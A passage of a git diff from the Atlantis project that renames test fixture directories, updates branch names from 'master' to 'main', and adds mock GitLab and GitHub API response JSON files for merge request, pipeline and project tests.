"nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": null + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "SUCCESS", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/fixtures/github-pull-request.json b/server/events/vcs/testdata/github-pull-request.json similarity index 99% rename from server/events/vcs/fixtures/github-pull-request.json rename to server/events/vcs/testdata/github-pull-request.json index a0846cc499..6b37a00686 100644 --- a/server/events/vcs/fixtures/github-pull-request.json +++ b/server/events/vcs/testdata/github-pull-request.json @@ -290,7 +290,7 @@ "stargazers_count": 80, "watchers_count": 80, "size": 108, - "default_branch": "master", + "default_branch": "main", "open_issues_count": 0, "topics": [ "octocat", @@ -320,8 +320,8 @@ } }, "base": { - "label": "master", - "ref": "master", + "label": "main", + "ref": "main", "sha": "6dcb09b5b57875f334f61aebed695e2e4193db5e", "user": { "login": "octocat", @@ -420,7 +420,7 @@ "stargazers_count": 80, "watchers_count": 80, "size": 108, - "default_branch": "master", + "default_branch": "main", "open_issues_count": 0, "topics": [ "octocat", diff --git a/server/events/vcs/fixtures/github-repo.json b/server/events/vcs/testdata/github-repo.json similarity index 99% rename from server/events/vcs/fixtures/github-repo.json rename to server/events/vcs/testdata/github-repo.json index 3012d24771..21999374bb 100644 --- a/server/events/vcs/fixtures/github-repo.json +++ b/server/events/vcs/testdata/github-repo.json @@ -89,7 +89,7 @@ "forks": 0, "open_issues": 1, "watchers": 0, - "default_branch": "master", + "default_branch": "main", "permissions": { "admin": true, "push": true, diff --git a/server/events/vcs/testdata/gitlab-changes-available.json b/server/events/vcs/testdata/gitlab-changes-available.json new file mode 100644 index 0000000000..e55a517d2d --- /dev/null +++ b/server/events/vcs/testdata/gitlab-changes-available.json @@ -0,0 +1,93 @@ +{ + "id": 8312, + "iid": 102, + "target_branch": "main", + "source_branch": "TestBranch", + "project_id": 3771, + "title": "Update somefile.yaml", + "state": "opened", + "created_at": "2023-03-14T13:43:17.895Z", + "updated_at": "2023-03-14T13:43:59.978Z", + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "assignees": [], + "reviewers": [], + "source_project_id": 3771, + "target_project_id": 3771, + "labels": [], + "description": "", + "draft": false, + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "detailed_merge_status": "not_approved", + "merge_error": "", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "subscribed": false, + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": null, + "squash_commit_sha": null, + "user_notes_count": 0, + "changes_count": "1", + "should_remove_source_branch": null, + "force_remove_source_branch": true, + "allow_collaboration": false, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "discussion_locked": null, + "changes": [ + { + "old_path": "somefile.yaml", + "new_path": "somefile.yaml", + "a_mode": "100644", + "b_mode": "100644", + "diff": "--- a/somefile.yaml\\ +++ b/somefile.yaml\\ @@ -1 +1 @@\\ -gud\\ +good", + "new_file": false, + "renamed_file": false, + "deleted_file": false + } + ], + "user": { + "can_merge": true + }, + "time_stats": { + "human_time_estimate": null, + "human_total_time_spent": null, + "time_estimate": 0, + "total_time_spent": 0 + }, + "squash": false, + "pipeline": null, + "head_pipeline": null, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "approvals_before_merge": null, + "reference": "!13", + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "overflow": false, + "merge_status": "can_be_merged" +} diff --git a/server/events/vcs/testdata/gitlab-changes-pending.json b/server/events/vcs/testdata/gitlab-changes-pending.json new file mode 100644 index 0000000000..0a8a0e5736 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-changes-pending.json @@ -0,0 +1,85 @@ +{ + "id": 8312, + "iid": 102, + "target_branch": "main", + "source_branch": "TestBranch", + "project_id": 3771, + "title": "Update somefile.yaml", + "state": "opened", + "created_at": "2023-03-14T13:43:17.895Z", + "updated_at": "2023-03-14T13:43:17.895Z", + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "assignees": [], + "reviewers": [], + "source_project_id": 3771, + "target_project_id": 3771, + "labels": [], + "description": "", + "draft": false, + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "detailed_merge_status": "checking", + "merge_error": "", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "subscribed": false, + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": "", + "squash_commit_sha": "", + "user_notes_count": 0, + "changes_count": "", + "should_remove_source_branch": false, + "force_remove_source_branch": true, + "allow_collaboration": false, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "discussion_locked": false, + "changes": [], + "user": { + "can_merge": true + }, + "time_stats": { + "human_time_estimate": "", + "human_total_time_spent": "", + "time_estimate": 0, + "total_time_spent": 0 + }, + "squash": false, + "pipeline": null, + "head_pipeline": null, + "diff_refs": { + "base_sha": "", + "head_sha": "", + "start_sha": "" + }, + "diverged_commits_count": 0, + "rebase_in_progress": false, + "approvals_before_merge": 0, + "reference": "!13", + "first_contribution": false, + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "overflow": false, + "merge_status": "checking" +} diff --git a/server/events/vcs/testdata/gitlab-detailed-merge-status-ci-must-pass.json b/server/events/vcs/testdata/gitlab-detailed-merge-status-ci-must-pass.json new file mode 100644 index 0000000000..52262e8fb8 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-detailed-merge-status-ci-must-pass.json @@ -0,0 +1,124 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "opened", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "user_notes_count": 0, + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "reviewers": [], + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "ci_must_pass", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": null, + "squash_commit_sha": null, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": true, + "reference": "!13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": true, + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "approvals_before_merge": null, + "subscribed": false, + "changes_count": "1", + "latest_build_started_at": "2019-01-15T18:27:29.375Z", + "latest_build_finished_at": "2019-01-25T17:28:01.437Z", + "first_deployed_to_production_at": null, + "pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" + }, + "head_pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", + "before_sha": "0000000000000000000000000000000000000000", + "tag": false, + "yaml_errors": null, + "user": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "started_at": "2019-01-15T18:27:29.375Z", + "finished_at": "2019-01-25T17:28:01.437Z", + "committed_at": null, + "duration": 31, + "coverage": null, + "detailed_status": { + "icon": "status_success", + "text": "passed", + "label": "passed", + "group": "success", + "tooltip": "passed", + "has_details": true, + "details_path": "/lkysow/atlantis-example/-/pipelines/488598", + "illustration": null, + "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" + } + }, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "first_contribution": false, + "user": { + "can_merge": true + } +} diff --git a/server/events/vcs/testdata/gitlab-detailed-merge-status-need-rebase.json b/server/events/vcs/testdata/gitlab-detailed-merge-status-need-rebase.json new file mode 100644 index 0000000000..a37f0e8577 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-detailed-merge-status-need-rebase.json @@ -0,0 +1,124 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "opened", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "user_notes_count": 0, + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "reviewers": [], + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "need_rebase", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": null, + "squash_commit_sha": null, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": true, + "reference": "!13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": true, + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "approvals_before_merge": null, + "subscribed": false, + "changes_count": "1", + "latest_build_started_at": "2019-01-15T18:27:29.375Z", + "latest_build_finished_at": "2019-01-25T17:28:01.437Z", + "first_deployed_to_production_at": null, + "pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" + }, + "head_pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", + "before_sha": "0000000000000000000000000000000000000000", + "tag": false, + "yaml_errors": null, + "user": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "started_at": "2019-01-15T18:27:29.375Z", + "finished_at": "2019-01-25T17:28:01.437Z", + "committed_at": null, + "duration": 31, + "coverage": null, + "detailed_status": { + "icon": "status_success", + "text": "passed", + "label": "passed", + "group": "success", + "tooltip": "passed", + "has_details": true, + "details_path": "/lkysow/atlantis-example/-/pipelines/488598", + "illustration": null, + "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" + } + }, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "first_contribution": false, + "user": { + "can_merge": true + } +} diff --git a/server/events/vcs/testdata/gitlab-group-membership-success.json b/server/events/vcs/testdata/gitlab-group-membership-success.json new file mode 100644 index 0000000000..897c4438ad --- /dev/null +++ b/server/events/vcs/testdata/gitlab-group-membership-success.json @@ -0,0 +1,22 @@ +{ + "access_level": 50, + "created_at": "2023-11-28T01:23:45.789Z", + "created_by": { + "id": 456, + "username": "someone", + "name": "Someone", + "state": "active", + "locked": false, + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/456/avatar.png", + "web_url": "https://gitlab.com/someone" + }, + "expires_at": null, + "id": 123, + "username": "testuser", + "name": "Test User", + "state": "active", + "locked": false, + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", + "web_url": "https://gitlab.com/testuser", + "membership_state": "active" +} diff --git a/server/events/vcs/testdata/gitlab-head-pipeline-not-available.json b/server/events/vcs/testdata/gitlab-head-pipeline-not-available.json new file mode 100644 index 0000000000..80c5419e70 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-head-pipeline-not-available.json @@ -0,0 +1,89 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "opened", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "user_notes_count": 0, + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "reviewers": [], + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "mergeable", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": null, + "squash_commit_sha": null, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": true, + "reference": "!13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": true, + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "approvals_before_merge": null, + "subscribed": false, + "changes_count": "1", + "latest_build_started_at": "2019-01-15T18:27:29.375Z", + "latest_build_finished_at": "2019-01-25T17:28:01.437Z", + "first_deployed_to_production_at": null, + "pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" + }, + "head_pipeline": null, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "first_contribution": false, + "user": { + "can_merge": true + } +} diff --git a/server/events/vcs/testdata/gitlab-merge-success-with-label.json b/server/events/vcs/testdata/gitlab-merge-success-with-label.json new file mode 100644 index 0000000000..751a6cfe1c --- /dev/null +++ b/server/events/vcs/testdata/gitlab-merge-success-with-label.json @@ -0,0 +1,71 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "merged", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "merged_at": "2019-01-25T17:28:01.459Z", + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [ + "work in progress" + ], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "mergeable", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": "c9b336f1c71d3e64810b8cfa2abcfab232d6bff6", + "user_notes_count": 0, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": false, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": false, + "subscribed": true, + "changes_count": "1", + "latest_build_started_at": null, + "latest_build_finished_at": null, + "first_deployed_to_production_at": null, + "pipeline": null, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "approvals_before_merge": null +} diff --git a/server/events/vcs/testdata/gitlab-merge-success.json b/server/events/vcs/testdata/gitlab-merge-success.json new file mode 100644 index 0000000000..f0def5d5dd --- /dev/null +++ b/server/events/vcs/testdata/gitlab-merge-success.json @@ -0,0 +1,69 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "merged", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "merged_at": "2019-01-25T17:28:01.459Z", + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "mergeable", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": "c9b336f1c71d3e64810b8cfa2abcfab232d6bff6", + "user_notes_count": 0, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": false, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": false, + "subscribed": true, + "changes_count": "1", + "latest_build_started_at": null, + "latest_build_finished_at": null, + "first_deployed_to_production_at": null, + "pipeline": null, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "approvals_before_merge": null +} diff --git a/server/events/vcs/testdata/gitlab-pipeline-success.json b/server/events/vcs/testdata/gitlab-pipeline-success.json new file mode 100644 index 0000000000..ecbeeb56b1 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-pipeline-success.json @@ -0,0 +1,124 @@ +{ + "id": 22461274, + "iid": 13, + "project_id": 4580910, + "title": "Update main.tf", + "description": "", + "state": "opened", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "merged_by": null, + "merged_at": null, + "closed_by": null, + "closed_at": null, + "target_branch": "patch-1", + "source_branch": "patch-1-merger", + "user_notes_count": 0, + "upvotes": 0, + "downvotes": 0, + "author": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "assignee": null, + "reviewers": [], + "source_project_id": 4580910, + "target_project_id": 4580910, + "labels": [], + "work_in_progress": false, + "milestone": null, + "merge_when_pipeline_succeeds": false, + "merge_status": "can_be_merged", + "detailed_merge_status": "mergeable", + "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "merge_commit_sha": null, + "squash_commit_sha": null, + "discussion_locked": null, + "should_remove_source_branch": null, + "force_remove_source_branch": true, + "reference": "!13", + "references": { + "short": "!13", + "relative": "!13", + "full": "lkysow/atlantis-example!13" + }, + "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", + "time_stats": { + "time_estimate": 0, + "total_time_spent": 0, + "human_time_estimate": null, + "human_total_time_spent": null + }, + "squash": true, + "task_completion_status": { + "count": 0, + "completed_count": 0 + }, + "has_conflicts": false, + "blocking_discussions_resolved": true, + "approvals_before_merge": null, + "subscribed": false, + "changes_count": "1", + "latest_build_started_at": "2019-01-15T18:27:29.375Z", + "latest_build_finished_at": "2019-01-25T17:28:01.437Z", + "first_deployed_to_production_at": null, + "pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" + }, + "head_pipeline": { + "id": 488598, + "sha": "67cb91d3f6198189f433c045154a885784ba6977", + "ref": "patch-1-merger", + "status": "success", + "created_at": "2019-01-15T18:27:29.375Z", + "updated_at": "2019-01-25T17:28:01.437Z", + "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", + "before_sha": "0000000000000000000000000000000000000000", + "tag": false, + "yaml_errors": null, + "user": { + "id": 1755902, + "name": "Luke Kysow", + "username": "lkysow", + "state": "active", + "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", + "web_url": "https://gitlab.com/lkysow" + }, + "started_at": "2019-01-15T18:27:29.375Z", + "finished_at": "2019-01-25T17:28:01.437Z", + "committed_at": null, + "duration": 31, + "coverage": null, + "detailed_status": { + "icon": "status_success", + "text": "passed", + "label": "passed", + "group": "success", + "tooltip": "passed", + "has_details": true, + "details_path": "/lkysow/atlantis-example/-/pipelines/488598", + "illustration": null, + "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" + } + }, + "diff_refs": { + "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", + "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", + "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" + }, + "merge_error": null, + "first_contribution": false, + "user": { + "can_merge": true + } +} diff --git a/server/events/vcs/testdata/gitlab-project-success.json b/server/events/vcs/testdata/gitlab-project-success.json new file mode 100644 index 0000000000..f93b20fffb --- /dev/null +++ b/server/events/vcs/testdata/gitlab-project-success.json @@ -0,0 +1,115 @@ +{ + "id": 4580910, + "description": "", + "name": "atlantis-example", + "name_with_namespace": "lkysow / atlantis-example", + "path": "atlantis-example", + "path_with_namespace": "lkysow/atlantis-example", + "created_at": "2018-04-30T13:44:28.367Z", + "default_branch": "patch-1", + "tag_list": [], + "ssh_url_to_repo": "git@gitlab.com:lkysow/atlantis-example.git", + "http_url_to_repo": "https://gitlab.com/lkysow/atlantis-example.git", + "web_url": "https://gitlab.com/lkysow/atlantis-example", + "readme_url": "https://gitlab.com/lkysow/atlantis-example/-/blob/main/README.md", + "avatar_url": "https://gitlab.com/uploads/-/system/project/avatar/4580910/avatar.png", + "forks_count": 0, + "star_count": 7, + "last_activity_at": "2021-06-29T21:10:43.968Z", + "namespace": { + "id": 1, + "name": "lkysow", + "path": "lkysow", + "kind": "group", + "full_path": "lkysow", + "parent_id": 1, + "avatar_url": "/uploads/-/system/group/avatar/1651/platform.png", + "web_url": "https://gitlab.com/groups/lkysow" + }, + "_links": { + "self": "https://gitlab.com/api/v4/projects/4580910", + "issues": "https://gitlab.com/api/v4/projects/4580910/issues", + "merge_requests": "https://gitlab.com/api/v4/projects/4580910/merge_requests", + "repo_branches": "https://gitlab.com/api/v4/projects/4580910/repository/branches", + "labels": "https://gitlab.com/api/v4/projects/4580910/labels", + "events": "https://gitlab.com/api/v4/projects/4580910/events", + "members": "https://gitlab.com/api/v4/projects/4580910/members" + }, + "packages_enabled": false, + "empty_repo": false, + "archived": false, + "visibility": "private", + "resolve_outdated_diff_discussions": false, + "container_registry_enabled": false, + "container_expiration_policy": { + "cadence": "1d", + "enabled": false, + "keep_n": 10, + "older_than": "90d", + "name_regex": ".*", + "name_regex_keep": null, + "next_run_at": "2021-05-01T13:44:28.397Z" + }, + "issues_enabled": true, + "merge_requests_enabled": true, + "wiki_enabled": false, + "jobs_enabled": true, + "snippets_enabled": true, + "service_desk_enabled": false, + "service_desk_address": null, + "can_create_merge_request_in": true, + "issues_access_level": "private", + "repository_access_level": "enabled", + "merge_requests_access_level": "enabled", + "forking_access_level": "enabled", + "wiki_access_level": "disabled", + "builds_access_level": "enabled", + "snippets_access_level": "enabled", + "pages_access_level": "private", + "operations_access_level": "disabled", + "analytics_access_level": "enabled", + "emails_disabled": null, + "shared_runners_enabled": true, + "lfs_enabled": false, + "creator_id": 818, + "import_status": "none", + "import_error": null, + "open_issues_count": 0, + "runners_token": "1234456", + "ci_default_git_depth": 50, + "ci_forward_deployment_enabled": true, + "public_jobs": true, + "build_git_strategy": "fetch", + "build_timeout": 3600, + "auto_cancel_pending_pipelines": "enabled", + "build_coverage_regex": null, + "ci_config_path": "", + "shared_with_groups": [], + "only_allow_merge_if_pipeline_succeeds": true, + "allow_merge_on_skipped_pipeline": false, + "restrict_user_defined_variables": false, + "request_access_enabled": true, + "only_allow_merge_if_all_discussions_are_resolved": true, + "remove_source_branch_after_merge": true, + "printing_merge_request_link_enabled": true, + "merge_method": "merge", + "suggestion_commit_message": "", + "auto_devops_enabled": false, + 